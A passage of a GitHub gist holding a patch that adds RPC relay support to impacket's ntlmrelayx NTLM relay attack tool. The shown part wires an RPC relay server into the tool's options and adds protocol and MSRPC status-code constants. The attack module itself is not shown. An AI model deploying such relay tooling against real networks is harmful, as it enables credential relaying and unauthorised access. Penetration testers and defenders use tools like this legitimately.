Skip to content

Instantly share code, notes, and snippets.

@sploutchy
Created September 9, 2020 09:56
Show Gist options
  • Star 1 You must be signed in to star a gist
  • Fork 2 You must be signed in to fork a gist
  • Save sploutchy/ebf417ef6bcd5242541f018492235cd3 to your computer and use it in GitHub Desktop.
Save sploutchy/ebf417ef6bcd5242541f018492235cd3 to your computer and use it in GitHub Desktop.
RPC Relay Client and Server Patch
From 53256e4b29331df20a5977b54c1741b2adc30394 Mon Sep 17 00:00:00 2001
From: root <root@localhost.localdomain>
Date: Wed, 9 Sep 2020 11:54:00 +0200
Subject: [PATCH] RPC Relay client and server
---
examples/ntlmrelayx.py | 12 +-
impacket/dcerpc/v5/dcomrt.py | 30 +-
impacket/dcerpc/v5/rpcrt.py | 624 ++++++++++++++++--
.../examples/ntlmrelayx/attacks/rpcattack.py | 95 +++
.../ntlmrelayx/clients/rpcrelayclient.py | 174 +++++
.../examples/ntlmrelayx/servers/__init__.py | 1 +
.../ntlmrelayx/servers/rpcrelayserver.py | 381 +++++++++++
impacket/ntlm.py | 7 +-
tests/SMB_RPC/test_ldap.py | 4 +-
tests/SMB_RPC/test_rpcrt.py | 6 +-
tests/SMB_RPC/test_samr.py | 4 +-
11 files changed, 1266 insertions(+), 72 deletions(-)
create mode 100644 impacket/examples/ntlmrelayx/attacks/rpcattack.py
create mode 100644 impacket/examples/ntlmrelayx/clients/rpcrelayclient.py
create mode 100644 impacket/examples/ntlmrelayx/servers/rpcrelayserver.py
diff --git a/examples/ntlmrelayx.py b/examples/ntlmrelayx.py
index c53da8fa..86974121 100755
--- a/examples/ntlmrelayx.py
+++ b/examples/ntlmrelayx.py
@@ -10,6 +10,7 @@
# Authors:
# Alberto Solino (@agsolino)
# Dirk-jan Mollema / Fox-IT (https://www.fox-it.com)
+# Sylvain Heiniger / Compass Security (https://www.compass-security.com)
#
# Description:
# This module performs the SMB Relay attacks originally discovered
@@ -46,7 +47,7 @@ from threading import Thread
from impacket import version
from impacket.examples import logger
-from impacket.examples.ntlmrelayx.servers import SMBRelayServer, HTTPRelayServer
+from impacket.examples.ntlmrelayx.servers import SMBRelayServer, HTTPRelayServer, RPCRelayServer
from impacket.examples.ntlmrelayx.utils.config import NTLMRelayxConfig
from impacket.examples.ntlmrelayx.utils.targetsutils import TargetsProcessor, TargetsFileWatcher
from impacket.examples.ntlmrelayx.servers.socksserver import SOCKS
@@ -166,6 +167,8 @@ def start_servers(options, threads):
c.setDomainAccount(options.machine_account, options.machine_hashes, options.domain)
elif server is SMBRelayServer:
c.setListeningPort(options.smb_port)
+ elif server is RPCRelayServer:
+ c.setListeningPort(options.rpc_port)
#If the redirect option is set, configure the HTTP server to redirect targets to SMB
if server is HTTPRelayServer and options.r is not None:
@@ -221,12 +224,14 @@ if __name__ == '__main__':
parser.add_argument('-ip','--interface-ip', action='store', metavar='INTERFACE_IP', help='IP address of interface to '
'bind SMB and HTTP servers',default='')
- serversoptions = parser.add_mutually_exclusive_group()
+ serversoptions = parser.add_argument_group()
serversoptions.add_argument('--no-smb-server', action='store_true', help='Disables the SMB server')
serversoptions.add_argument('--no-http-server', action='store_true', help='Disables the HTTP server')
+ serversoptions.add_argument('--no-rpc-server', action='store_true', help='Disables the RPC server')
parser.add_argument('--smb-port', type=int, help='Port to listen on smb server', default=445)
parser.add_argument('--http-port', type=int, help='Port to listen on http server', default=80)
+ parser.add_argument('--rpc-port', type=int, help='Port to listen on rpc server', default=135)
parser.add_argument('-ra','--random', action='store_true', help='Randomize target selection')
parser.add_argument('-r', action='store', metavar = 'SMBSERVER', help='Redirect HTTP requests to a file:// path on SMBSERVER')
@@ -342,6 +347,9 @@ if __name__ == '__main__':
targetSystem = None
mode = 'REFLECTION'
+ if not options.no_rpc_server:
+ RELAY_SERVERS.append(RPCRelayServer)
+
if not options.no_smb_server:
RELAY_SERVERS.append(SMBRelayServer)
diff --git a/impacket/dcerpc/v5/dcomrt.py b/impacket/dcerpc/v5/dcomrt.py
index 1353eeaf..94f1206d 100644
--- a/impacket/dcerpc/v5/dcomrt.py
+++ b/impacket/dcerpc/v5/dcomrt.py
@@ -66,6 +66,34 @@ IID_IRemUnknown2 = uuidtup_to_bin(('00000143-0000-0000-C000-0000000
IID_IUnknown = uuidtup_to_bin(('00000000-0000-0000-C000-000000000046','0.0'))
IID_IClassFactory = uuidtup_to_bin(('00000001-0000-0000-C000-000000000046','0.0'))
+# Protocol Identifiers, from [c706] Annex I
+TOWERID_OSI_TP4 = 0x05
+TOWERID_OSI_CLNS = 0x06
+TOWERID_DOD_TCP = 0x0007
+TOWERID_DOD_UDP = 0x08
+TOWERID_DOD_IP = 0x09
+TOWERID_RPC_connectionless = 0x0a
+TOWERID_RPC_connectionoriented = 0x0b
+TOWERID_DNA_Session_Control = 0x02
+TOWERID_DNA_Session_Control_V3 = 0x03
+TOWERID_DNA_NSP_Transport = 0x04
+TOWERID_DNA_Routing = 0x06
+TOWERID_Named_Pipes = 0x10
+TOWERID_NetBIOS_11 = 0x11
+TOWERID_NetBEUI = 0x12
+TOWERID_Netware_SPX = 0x13
+TOWERID_Netware_IPX = 0x14
+TOWERID_Appletalk_Stream = 0x16
+TOWERID_Appletalk_Datagram = 0x17
+TOWERID_Appletalk = 0x18
+TOWERID_NetBIOS_19 = 0x19
+TOWERID_VINES_SPP = 0x1A
+TOWERID_VINES_IPC = 0x1B
+TOWERID_StreetTalk = 0x1C
+TOWERID_Unix_Domain_socket = 0x20
+TOWERID_null = 0x21
+TOWERID_NetBIOS_22 = 0x22
+
class DCERPCSessionError(DCERPCException):
def __init__(self, error_string=None, error_code=None, packet=None):
DCERPCException.__init__(self, error_string, error_code, packet)
@@ -819,7 +847,7 @@ class ServerAlive2Response(NDRCALL):
('pComVersion', COMVERSION),
('ppdsaOrBindings', PDUALSTRINGARRAY),
('pReserved', LPLONG),
- ('ErrorCode', error_status_t),
+ #('ErrorCode', error_status_t),
)
# 3.1.2.5.2.3.1 IActivation:: RemoteActivation (Opnum 0)
diff --git a/impacket/dcerpc/v5/rpcrt.py b/impacket/dcerpc/v5/rpcrt.py
index dce7a523..383c2bb4 100644
--- a/impacket/dcerpc/v5/rpcrt.py
+++ b/impacket/dcerpc/v5/rpcrt.py
@@ -26,7 +26,7 @@ from Cryptodome.Cipher import ARC4
from impacket import ntlm, LOG
from impacket.structure import Structure,pack,unpack
from impacket.krb5 import kerberosv5, gssapi
-from impacket.uuid import uuidtup_to_bin, generate, stringver_to_bin, bin_to_uuidtup
+from impacket.uuid import uuidtup_to_bin, generate, stringver_to_bin, bin_to_uuidtup, bin_to_string
from impacket.dcerpc.v5.dtypes import UCHAR, ULONG, USHORT
from impacket.dcerpc.v5.ndr import NDRSTRUCT
from impacket import hresult_errors
@@ -55,6 +55,29 @@ MSRPC_CO_CANCEL = 0x12
MSRPC_ORPHANED = 0x13
MSRPC_RTS = 0x14
+msrpc_message_type = {
+ 0x00: 'MSRPC REQUEST',
+ 0x01: 'MSRPC PING',
+ 0x02: 'MSRPC RESPONSE',
+ 0x03: 'MSRPC FAULT',
+ 0x04: 'MSRPC WORKING',
+ 0x05: 'MSRPC NOCALL',
+ 0x06: 'MSRPC REJECT',
+ 0x07: 'MSRPC ACK',
+ 0x08: 'MSRPC CL CANCEL',
+ 0x09: 'MSRPC FACK',
+ 0x0A: 'MSRPC CANCELACK',
+ 0x0B: 'MSRPC BIND',
+ 0x0C: 'MSRPC BINDACK',
+ 0x0D: 'MSRPC BINDNAK',
+ 0x0E: 'MSRPC ALTERCTX',
+ 0x0F: 'MSRPC ALTERCTX R',
+ 0x10: 'MSRPC AUTH3',
+ 0x11: 'MSRPC SHUTDOWN',
+ 0x12: 'MSRPC CO CANCEL',
+ 0x13: 'MSRPC ORPHANED'
+}
+
# MS/RPC Packet Flags
PFC_FIRST_FRAG = 0x01
PFC_LAST_FRAG = 0x02
@@ -104,6 +127,7 @@ rpc_provider_reason = {
MSRPC_CONT_RESULT_ACCEPT = 0
MSRPC_CONT_RESULT_USER_REJECT = 1
MSRPC_CONT_RESULT_PROV_REJECT = 2
+MSRPC_CONT_RESULT_NEGOTIATE_ACK = 3
#Results of a presentation context negotiation
rpc_cont_def_result = {
@@ -542,6 +566,436 @@ rpc_status_codes = {
0x16c9a171 : "rpc_s_no_context_available",
}
+MSRPC_STATUS_CODE_RPC_S_ACCESS_DENIED = 0X00000005
+MSRPC_STATUS_CODE_AUTHENTICATION_TYPE_NOT_RECOGNIZED = 0X00000008
+MSRPC_STATUS_CODE_RPC_FAULT_CANT_PERFORM = 0X000006D8
+MSRPC_STATUS_CODE_RPC_X_INVALID_BOUND = 0X000006C6
+MSRPC_STATUS_CODE_RPC_S_CANNOT_SUPPORT = 0X000006E4
+MSRPC_STATUS_CODE_RPC_X_BAD_STUB_DATA = 0X000006F7
+MSRPC_STATUS_CODE_NCA_S_COMM_FAILURE = 0X1C010001
+MSRPC_STATUS_CODE_NCA_S_OP_RNG_ERROR = 0X1C010002
+MSRPC_STATUS_CODE_NCA_S_UNK_IF = 0X1C010003
+MSRPC_STATUS_CODE_NCA_S_WRONG_BOOT_TIME = 0X1C010006
+MSRPC_STATUS_CODE_NCA_S_YOU_CRASHED = 0X1C010009
+MSRPC_STATUS_CODE_NCA_S_PROTO_ERROR = 0X1C01000B
+MSRPC_STATUS_CODE_NCA_S_OUT_ARGS_TOO_BIG = 0X1C010013
+MSRPC_STATUS_CODE_NCA_S_SERVER_TOO_BUSY = 0X1C010014
+MSRPC_STATUS_CODE_NCA_S_FAULT_STRING_TOO_LONG = 0X1C010015
+MSRPC_STATUS_CODE_NCA_S_UNSUPPORTED_TYPE = 0X1C010017
+MSRPC_STATUS_CODE_NCA_S_FAULT_INT_DIV_BY_ZERO = 0X1C000001
+MSRPC_STATUS_CODE_NCA_S_FAULT_ADDR_ERROR = 0X1C000002
+MSRPC_STATUS_CODE_NCA_S_FAULT_FP_DIV_ZERO = 0X1C000003
+MSRPC_STATUS_CODE_NCA_S_FAULT_FP_UNDERFLOW = 0X1C000004
+MSRPC_STATUS_CODE_NCA_S_FAULT_FP_OVERFLOW = 0X1C000005
+MSRPC_STATUS_CODE_NCA_S_FAULT_INVALID_TAG = 0X1C000006
+MSRPC_STATUS_CODE_NCA_S_FAULT_INVALID_BOUND = 0X1C000007
+MSRPC_STATUS_CODE_NCA_S_RPC_VERSION_MISMATCH = 0X1C000008
+MSRPC_STATUS_CODE_NCA_S_UNSPEC_REJECT = 0X1C000009
+MSRPC_STATUS_CODE_NCA_S_BAD_ACTID = 0X1C00000A
+MSRPC_STATUS_CODE_NCA_S_WHO_ARE_YOU_FAILED = 0X1C00000B
+MSRPC_STATUS_CODE_NCA_S_MANAGER_NOT_ENTERED = 0X1C00000C
+MSRPC_STATUS_CODE_NCA_S_FAULT_CANCEL = 0X1C00000D
+MSRPC_STATUS_CODE_NCA_S_FAULT_ILL_INST = 0X1C00000E
+MSRPC_STATUS_CODE_NCA_S_FAULT_FP_ERROR = 0X1C00000F
+MSRPC_STATUS_CODE_NCA_S_FAULT_INT_OVERFLOW = 0X1C000010
+MSRPC_STATUS_CODE_NCA_S_FAULT_UNSPEC = 0X1C000012
+MSRPC_STATUS_CODE_NCA_S_FAULT_REMOTE_COMM_FAILURE = 0X1C000013
+MSRPC_STATUS_CODE_NCA_S_FAULT_PIPE_EMPTY = 0X1C000014
+MSRPC_STATUS_CODE_NCA_S_FAULT_PIPE_CLOSED = 0X1C000015
+MSRPC_STATUS_CODE_NCA_S_FAULT_PIPE_ORDER = 0X1C000016
+MSRPC_STATUS_CODE_NCA_S_FAULT_PIPE_DISCIPLINE = 0X1C000017
+MSRPC_STATUS_CODE_NCA_S_FAULT_PIPE_COMM_ERROR = 0X1C000018
+MSRPC_STATUS_CODE_NCA_S_FAULT_PIPE_MEMORY = 0X1C000019
+MSRPC_STATUS_CODE_NCA_S_FAULT_CONTEXT_MISMATCH = 0X1C00001A
+MSRPC_STATUS_CODE_NCA_S_FAULT_REMOTE_NO_MEMORY = 0X1C00001B
+MSRPC_STATUS_CODE_NCA_S_INVALID_PRES_CONTEXT_ID = 0X1C00001C
+MSRPC_STATUS_CODE_NCA_S_UNSUPPORTED_AUTHN_LEVEL = 0X1C00001D
+MSRPC_STATUS_CODE_NCA_S_INVALID_CHECKSUM = 0X1C00001F
+MSRPC_STATUS_CODE_NCA_S_INVALID_CRC = 0X1C000020
+MSRPC_STATUS_CODE_NCA_S_FAULT_USER_DEFINED = 0X1C000021
+MSRPC_STATUS_CODE_NCA_S_FAULT_TX_OPEN_FAILED = 0X1C000022
+MSRPC_STATUS_CODE_NCA_S_FAULT_CODESET_CONV_ERROR = 0X1C000023
+MSRPC_STATUS_CODE_NCA_S_FAULT_OBJECT_NOT_FOUND = 0X1C000024
+MSRPC_STATUS_CODE_NCA_S_FAULT_NO_CLIENT_STUB = 0X1C000025
+MSRPC_STATUS_CODE_RPC_S_MOD = 0X16C9A000
+MSRPC_STATUS_CODE_RPC_S_OP_RNG_ERROR = 0X16C9A001
+MSRPC_STATUS_CODE_RPC_S_CANT_CREATE_SOCKET = 0X16C9A002
+MSRPC_STATUS_CODE_RPC_S_CANT_BIND_SOCKET = 0X16C9A003
+MSRPC_STATUS_CODE_RPC_S_NOT_IN_CALL = 0X16C9A004
+MSRPC_STATUS_CODE_RPC_S_NO_PORT = 0X16C9A005
+MSRPC_STATUS_CODE_RPC_S_WRONG_BOOT_TIME = 0X16C9A006
+MSRPC_STATUS_CODE_RPC_S_TOO_MANY_SOCKETS = 0X16C9A007
+MSRPC_STATUS_CODE_RPC_S_ILLEGAL_REGISTER = 0X16C9A008
+MSRPC_STATUS_CODE_RPC_S_CANT_RECV = 0X16C9A009
+MSRPC_STATUS_CODE_RPC_S_BAD_PKT = 0X16C9A00A
+MSRPC_STATUS_CODE_RPC_S_UNBOUND_HANDLE = 0X16C9A00B
+MSRPC_STATUS_CODE_RPC_S_ADDR_IN_USE = 0X16C9A00C
+MSRPC_STATUS_CODE_RPC_S_IN_ARGS_TOO_BIG = 0X16C9A00D
+MSRPC_STATUS_CODE_RPC_S_STRING_TOO_LONG = 0X16C9A00E
+MSRPC_STATUS_CODE_RPC_S_TOO_MANY_OBJECTS = 0X16C9A00F
+MSRPC_STATUS_CODE_RPC_S_BINDING_HAS_NO_AUTH = 0X16C9A010
+MSRPC_STATUS_CODE_RPC_S_UNKNOWN_AUTHN_SERVICE = 0X16C9A011
+MSRPC_STATUS_CODE_RPC_S_NO_MEMORY = 0X16C9A012
+MSRPC_STATUS_CODE_RPC_S_CANT_NMALLOC = 0X16C9A013
+MSRPC_STATUS_CODE_RPC_S_CALL_FAULTED = 0X16C9A014
+MSRPC_STATUS_CODE_RPC_S_CALL_FAILED = 0X16C9A015
+MSRPC_STATUS_CODE_RPC_S_COMM_FAILURE = 0X16C9A016
+MSRPC_STATUS_CODE_RPC_S_RPCD_COMM_FAILURE = 0X16C9A017
+MSRPC_STATUS_CODE_RPC_S_ILLEGAL_FAMILY_REBIND = 0X16C9A018
+MSRPC_STATUS_CODE_RPC_S_INVALID_HANDLE = 0X16C9A019
+MSRPC_STATUS_CODE_RPC_S_CODING_ERROR = 0X16C9A01A
+MSRPC_STATUS_CODE_RPC_S_OBJECT_NOT_FOUND = 0X16C9A01B
+MSRPC_STATUS_CODE_RPC_S_CTHREAD_NOT_FOUND = 0X16C9A01C
+MSRPC_STATUS_CODE_RPC_S_INVALID_BINDING = 0X16C9A01D
+MSRPC_STATUS_CODE_RPC_S_ALREADY_REGISTERED = 0X16C9A01E
+MSRPC_STATUS_CODE_RPC_S_ENDPOINT_NOT_FOUND = 0X16C9A01F
+MSRPC_STATUS_CODE_RPC_S_INVALID_RPC_PROTSEQ = 0X16C9A020
+MSRPC_STATUS_CODE_RPC_S_DESC_NOT_REGISTERED = 0X16C9A021
+MSRPC_STATUS_CODE_RPC_S_ALREADY_LISTENING = 0X16C9A022
+MSRPC_STATUS_CODE_RPC_S_NO_PROTSEQS = 0X16C9A023
+MSRPC_STATUS_CODE_RPC_S_NO_PROTSEQS_REGISTERED = 0X16C9A024
+MSRPC_STATUS_CODE_RPC_S_NO_BINDINGS = 0X16C9A025
+MSRPC_STATUS_CODE_RPC_S_MAX_DESCS_EXCEEDED = 0X16C9A026
+MSRPC_STATUS_CODE_RPC_S_NO_INTERFACES = 0X16C9A027
+MSRPC_STATUS_CODE_RPC_S_INVALID_TIMEOUT = 0X16C9A028
+MSRPC_STATUS_CODE_RPC_S_CANT_INQ_SOCKET = 0X16C9A029
+MSRPC_STATUS_CODE_RPC_S_INVALID_NAF_ID = 0X16C9A02A
+MSRPC_STATUS_CODE_RPC_S_INVAL_NET_ADDR = 0X16C9A02B
+MSRPC_STATUS_CODE_RPC_S_UNKNOWN_IF = 0X16C9A02C
+MSRPC_STATUS_CODE_RPC_S_UNSUPPORTED_TYPE = 0X16C9A02D
+MSRPC_STATUS_CODE_RPC_S_INVALID_CALL_OPT = 0X16C9A02E
+MSRPC_STATUS_CODE_RPC_S_NO_FAULT = 0X16C9A02F
+MSRPC_STATUS_CODE_RPC_S_CANCEL_TIMEOUT = 0X16C9A030
+MSRPC_STATUS_CODE_RPC_S_CALL_CANCELLED = 0X16C9A031
+MSRPC_STATUS_CODE_RPC_S_INVALID_CALL_HANDLE = 0X16C9A032
+MSRPC_STATUS_CODE_RPC_S_CANNOT_ALLOC_ASSOC = 0X16C9A033
+MSRPC_STATUS_CODE_RPC_S_CANNOT_CONNECT = 0X16C9A034
+MSRPC_STATUS_CODE_RPC_S_CONNECTION_ABORTED = 0X16C9A035
+MSRPC_STATUS_CODE_RPC_S_CONNECTION_CLOSED = 0X16C9A036
+MSRPC_STATUS_CODE_RPC_S_CANNOT_ACCEPT = 0X16C9A037
+MSRPC_STATUS_CODE_RPC_S_ASSOC_GRP_NOT_FOUND = 0X16C9A038
+MSRPC_STATUS_CODE_RPC_S_STUB_INTERFACE_ERROR = 0X16C9A039
+MSRPC_STATUS_CODE_RPC_S_INVALID_OBJECT = 0X16C9A03A
+MSRPC_STATUS_CODE_RPC_S_INVALID_TYPE = 0X16C9A03B
+MSRPC_STATUS_CODE_RPC_S_INVALID_IF_OPNUM = 0X16C9A03C
+MSRPC_STATUS_CODE_RPC_S_DIFFERENT_SERVER_INSTANCE = 0X16C9A03D
+MSRPC_STATUS_CODE_RPC_S_PROTOCOL_ERROR = 0X16C9A03E
+MSRPC_STATUS_CODE_RPC_S_CANT_RECVMSG = 0X16C9A03F
+MSRPC_STATUS_CODE_RPC_S_INVALID_STRING_BINDING = 0X16C9A040
+MSRPC_STATUS_CODE_RPC_S_CONNECT_TIMED_OUT = 0X16C9A041
+MSRPC_STATUS_CODE_RPC_S_CONNECT_REJECTED = 0X16C9A042
+MSRPC_STATUS_CODE_RPC_S_NETWORK_UNREACHABLE = 0X16C9A043
+MSRPC_STATUS_CODE_RPC_S_CONNECT_NO_RESOURCES = 0X16C9A044
+MSRPC_STATUS_CODE_RPC_S_REM_NETWORK_SHUTDOWN = 0X16C9A045
+MSRPC_STATUS_CODE_RPC_S_TOO_MANY_REM_CONNECTS = 0X16C9A046
+MSRPC_STATUS_CODE_RPC_S_NO_REM_ENDPOINT = 0X16C9A047
+MSRPC_STATUS_CODE_RPC_S_REM_HOST_DOWN = 0X16C9A048
+MSRPC_STATUS_CODE_RPC_S_HOST_UNREACHABLE = 0X16C9A049
+MSRPC_STATUS_CODE_RPC_S_ACCESS_CONTROL_INFO_INV = 0X16C9A04A
+MSRPC_STATUS_CODE_RPC_S_LOC_CONNECT_ABORTED = 0X16C9A04B
+MSRPC_STATUS_CODE_RPC_S_CONNECT_CLOSED_BY_REM = 0X16C9A04C
+MSRPC_STATUS_CODE_RPC_S_REM_HOST_CRASHED = 0X16C9A04D
+MSRPC_STATUS_CODE_RPC_S_INVALID_ENDPOINT_FORMAT = 0X16C9A04E
+MSRPC_STATUS_CODE_RPC_S_UNKNOWN_STATUS_CODE = 0X16C9A04F
+MSRPC_STATUS_CODE_RPC_S_UNKNOWN_MGR_TYPE = 0X16C9A050
+MSRPC_STATUS_CODE_RPC_S_ASSOC_CREATION_FAILED = 0X16C9A051
+MSRPC_STATUS_CODE_RPC_S_ASSOC_GRP_MAX_EXCEEDED = 0X16C9A052
+MSRPC_STATUS_CODE_RPC_S_ASSOC_GRP_ALLOC_FAILED = 0X16C9A053
+MSRPC_STATUS_CODE_RPC_S_SM_INVALID_STATE = 0X16C9A054
+MSRPC_STATUS_CODE_RPC_S_ASSOC_REQ_REJECTED = 0X16C9A055
+MSRPC_STATUS_CODE_RPC_S_ASSOC_SHUTDOWN = 0X16C9A056
+MSRPC_STATUS_CODE_RPC_S_TSYNTAXES_UNSUPPORTED = 0X16C9A057
+MSRPC_STATUS_CODE_RPC_S_CONTEXT_ID_NOT_FOUND = 0X16C9A058
+MSRPC_STATUS_CODE_RPC_S_CANT_LISTEN_SOCKET = 0X16C9A059
+MSRPC_STATUS_CODE_RPC_S_NO_ADDRS = 0X16C9A05A
+MSRPC_STATUS_CODE_RPC_S_CANT_GETPEERNAME = 0X16C9A05B
+MSRPC_STATUS_CODE_RPC_S_CANT_GET_IF_ID = 0X16C9A05C
+MSRPC_STATUS_CODE_RPC_S_PROTSEQ_NOT_SUPPORTED = 0X16C9A05D
+MSRPC_STATUS_CODE_RPC_S_CALL_ORPHANED = 0X16C9A05E
+MSRPC_STATUS_CODE_RPC_S_WHO_ARE_YOU_FAILED = 0X16C9A05F
+MSRPC_STATUS_CODE_RPC_S_UNKNOWN_REJECT = 0X16C9A060
+MSRPC_STATUS_CODE_RPC_S_TYPE_ALREADY_REGISTERED = 0X16C9A061
+MSRPC_STATUS_CODE_RPC_S_STOP_LISTENING_DISABLED = 0X16C9A062
+MSRPC_STATUS_CODE_RPC_S_INVALID_ARG = 0X16C9A063
+MSRPC_STATUS_CODE_RPC_S_NOT_SUPPORTED = 0X16C9A064
+MSRPC_STATUS_CODE_RPC_S_WRONG_KIND_OF_BINDING = 0X16C9A065
+MSRPC_STATUS_CODE_RPC_S_AUTHN_AUTHZ_MISMATCH = 0X16C9A066
+MSRPC_STATUS_CODE_RPC_S_CALL_QUEUED = 0X16C9A067
+MSRPC_STATUS_CODE_RPC_S_CANNOT_SET_NODELAY = 0X16C9A068
+MSRPC_STATUS_CODE_RPC_S_NOT_RPC_TOWER = 0X16C9A069
+MSRPC_STATUS_CODE_RPC_S_INVALID_RPC_PROTID = 0X16C9A06A
+MSRPC_STATUS_CODE_RPC_S_INVALID_RPC_FLOOR = 0X16C9A06B
+MSRPC_STATUS_CODE_RPC_S_CALL_TIMEOUT = 0X16C9A06C
+MSRPC_STATUS_CODE_RPC_S_MGMT_OP_DISALLOWED = 0X16C9A06D
+MSRPC_STATUS_CODE_RPC_S_MANAGER_NOT_ENTERED = 0X16C9A06E
+MSRPC_STATUS_CODE_RPC_S_CALLS_TOO_LARGE_FOR_WK_EP = 0X16C9A06F
+MSRPC_STATUS_CODE_RPC_S_SERVER_TOO_BUSY = 0X16C9A070
+MSRPC_STATUS_CODE_RPC_S_PROT_VERSION_MISMATCH = 0X16C9A071
+MSRPC_STATUS_CODE_RPC_S_RPC_PROT_VERSION_MISMATCH = 0X16C9A072
+MSRPC_STATUS_CODE_RPC_S_SS_NO_IMPORT_CURSOR = 0X16C9A073
+MSRPC_STATUS_CODE_RPC_S_FAULT_ADDR_ERROR = 0X16C9A074
+MSRPC_STATUS_CODE_RPC_S_FAULT_CONTEXT_MISMATCH = 0X16C9A075
+MSRPC_STATUS_CODE_RPC_S_FAULT_FP_DIV_BY_ZERO = 0X16C9A076
+MSRPC_STATUS_CODE_RPC_S_FAULT_FP_ERROR = 0X16C9A077
+MSRPC_STATUS_CODE_RPC_S_FAULT_FP_OVERFLOW = 0X16C9A078
+MSRPC_STATUS_CODE_RPC_S_FAULT_FP_UNDERFLOW = 0X16C9A079
+MSRPC_STATUS_CODE_RPC_S_FAULT_ILL_INST = 0X16C9A07A
+MSRPC_STATUS_CODE_RPC_S_FAULT_INT_DIV_BY_ZERO = 0X16C9A07B
+MSRPC_STATUS_CODE_RPC_S_FAULT_INT_OVERFLOW = 0X16C9A07C
+MSRPC_STATUS_CODE_RPC_S_FAULT_INVALID_BOUND = 0X16C9A07D
+MSRPC_STATUS_CODE_RPC_S_FAULT_INVALID_TAG = 0X16C9A07E
+MSRPC_STATUS_CODE_RPC_S_FAULT_PIPE_CLOSED = 0X16C9A07F
+MSRPC_STATUS_CODE_RPC_S_FAULT_PIPE_COMM_ERROR = 0X16C9A080
+MSRPC_STATUS_CODE_RPC_S_FAULT_PIPE_DISCIPLINE = 0X16C9A081
+MSRPC_STATUS_CODE_RPC_S_FAULT_PIPE_EMPTY = 0X16C9A082
+MSRPC_STATUS_CODE_RPC_S_FAULT_PIPE_MEMORY = 0X16C9A083
+MSRPC_STATUS_CODE_RPC_S_FAULT_PIPE_ORDER = 0X16C9A084
+MSRPC_STATUS_CODE_RPC_S_FAULT_REMOTE_COMM_FAILURE = 0X16C9A085
+MSRPC_STATUS_CODE_RPC_S_FAULT_REMOTE_NO_MEMORY = 0X16C9A086
+MSRPC_STATUS_CODE_RPC_S_FAULT_UNSPEC = 0X16C9A087
+MSRPC_STATUS_CODE_UUID_S_BAD_VERSION = 0X16C9A088
+MSRPC_STATUS_CODE_UUID_S_SOCKET_FAILURE = 0X16C9A089
+MSRPC_STATUS_CODE_UUID_S_GETCONF_FAILURE = 0X16C9A08A
+MSRPC_STATUS_CODE_UUID_S_NO_ADDRESS = 0X16C9A08B
+MSRPC_STATUS_CODE_UUID_S_OVERRUN = 0X16C9A08C
+MSRPC_STATUS_CODE_UUID_S_INTERNAL_ERROR = 0X16C9A08D
+MSRPC_STATUS_CODE_UUID_S_CODING_ERROR = 0X16C9A08E
+MSRPC_STATUS_CODE_UUID_S_INVALID_STRING_UUID = 0X16C9A08F
+MSRPC_STATUS_CODE_UUID_S_NO_MEMORY = 0X16C9A090
+MSRPC_STATUS_CODE_RPC_S_NO_MORE_ENTRIES = 0X16C9A091
+MSRPC_STATUS_CODE_RPC_S_UNKNOWN_NS_ERROR = 0X16C9A092
+MSRPC_STATUS_CODE_RPC_S_NAME_SERVICE_UNAVAILABLE = 0X16C9A093
+MSRPC_STATUS_CODE_RPC_S_INCOMPLETE_NAME = 0X16C9A094
+MSRPC_STATUS_CODE_RPC_S_GROUP_NOT_FOUND = 0X16C9A095
+MSRPC_STATUS_CODE_RPC_S_INVALID_NAME_SYNTAX = 0X16C9A096
+MSRPC_STATUS_CODE_RPC_S_NO_MORE_MEMBERS = 0X16C9A097
+MSRPC_STATUS_CODE_RPC_S_NO_MORE_INTERFACES = 0X16C9A098
+MSRPC_STATUS_CODE_RPC_S_INVALID_NAME_SERVICE = 0X16C9A099
+MSRPC_STATUS_CODE_RPC_S_NO_NAME_MAPPING = 0X16C9A09A
+MSRPC_STATUS_CODE_RPC_S_PROFILE_NOT_FOUND = 0X16C9A09B
+MSRPC_STATUS_CODE_RPC_S_NOT_FOUND = 0X16C9A09C
+MSRPC_STATUS_CODE_RPC_S_NO_UPDATES = 0X16C9A09D
+MSRPC_STATUS_CODE_RPC_S_UPDATE_FAILED = 0X16C9A09E
+MSRPC_STATUS_CODE_RPC_S_NO_MATCH_EXPORTED = 0X16C9A09F
+MSRPC_STATUS_CODE_RPC_S_ENTRY_NOT_FOUND = 0X16C9A0A0
+MSRPC_STATUS_CODE_RPC_S_INVALID_INQUIRY_CONTEXT = 0X16C9A0A1
+MSRPC_STATUS_CODE_RPC_S_INTERFACE_NOT_FOUND = 0X16C9A0A2
+MSRPC_STATUS_CODE_RPC_S_GROUP_MEMBER_NOT_FOUND = 0X16C9A0A3
+MSRPC_STATUS_CODE_RPC_S_ENTRY_ALREADY_EXISTS = 0X16C9A0A4
+MSRPC_STATUS_CODE_RPC_S_NSINIT_FAILURE = 0X16C9A0A5
+MSRPC_STATUS_CODE_RPC_S_UNSUPPORTED_NAME_SYNTAX = 0X16C9A0A6
+MSRPC_STATUS_CODE_RPC_S_NO_MORE_ELEMENTS = 0X16C9A0A7
+MSRPC_STATUS_CODE_RPC_S_NO_NS_PERMISSION = 0X16C9A0A8
+MSRPC_STATUS_CODE_RPC_S_INVALID_INQUIRY_TYPE = 0X16C9A0A9
+MSRPC_STATUS_CODE_RPC_S_PROFILE_ELEMENT_NOT_FOUND = 0X16C9A0AA
+MSRPC_STATUS_CODE_RPC_S_PROFILE_ELEMENT_REPLACED = 0X16C9A0AB
+MSRPC_STATUS_CODE_RPC_S_IMPORT_ALREADY_DONE = 0X16C9A0AC
+MSRPC_STATUS_CODE_RPC_S_DATABASE_BUSY = 0X16C9A0AD
+MSRPC_STATUS_CODE_RPC_S_INVALID_IMPORT_CONTEXT = 0X16C9A0AE
+MSRPC_STATUS_CODE_RPC_S_UUID_SET_NOT_FOUND = 0X16C9A0AF
+MSRPC_STATUS_CODE_RPC_S_UUID_MEMBER_NOT_FOUND = 0X16C9A0B0
+MSRPC_STATUS_CODE_RPC_S_NO_INTERFACES_EXPORTED = 0X16C9A0B1
+MSRPC_STATUS_CODE_RPC_S_TOWER_SET_NOT_FOUND = 0X16C9A0B2
+MSRPC_STATUS_CODE_RPC_S_TOWER_MEMBER_NOT_FOUND = 0X16C9A0B3
+MSRPC_STATUS_CODE_RPC_S_OBJ_UUID_NOT_FOUND = 0X16C9A0B4
+MSRPC_STATUS_CODE_RPC_S_NO_MORE_BINDINGS = 0X16C9A0B5
+MSRPC_STATUS_CODE_RPC_S_INVALID_PRIORITY = 0X16C9A0B6
+MSRPC_STATUS_CODE_RPC_S_NOT_RPC_ENTRY = 0X16C9A0B7
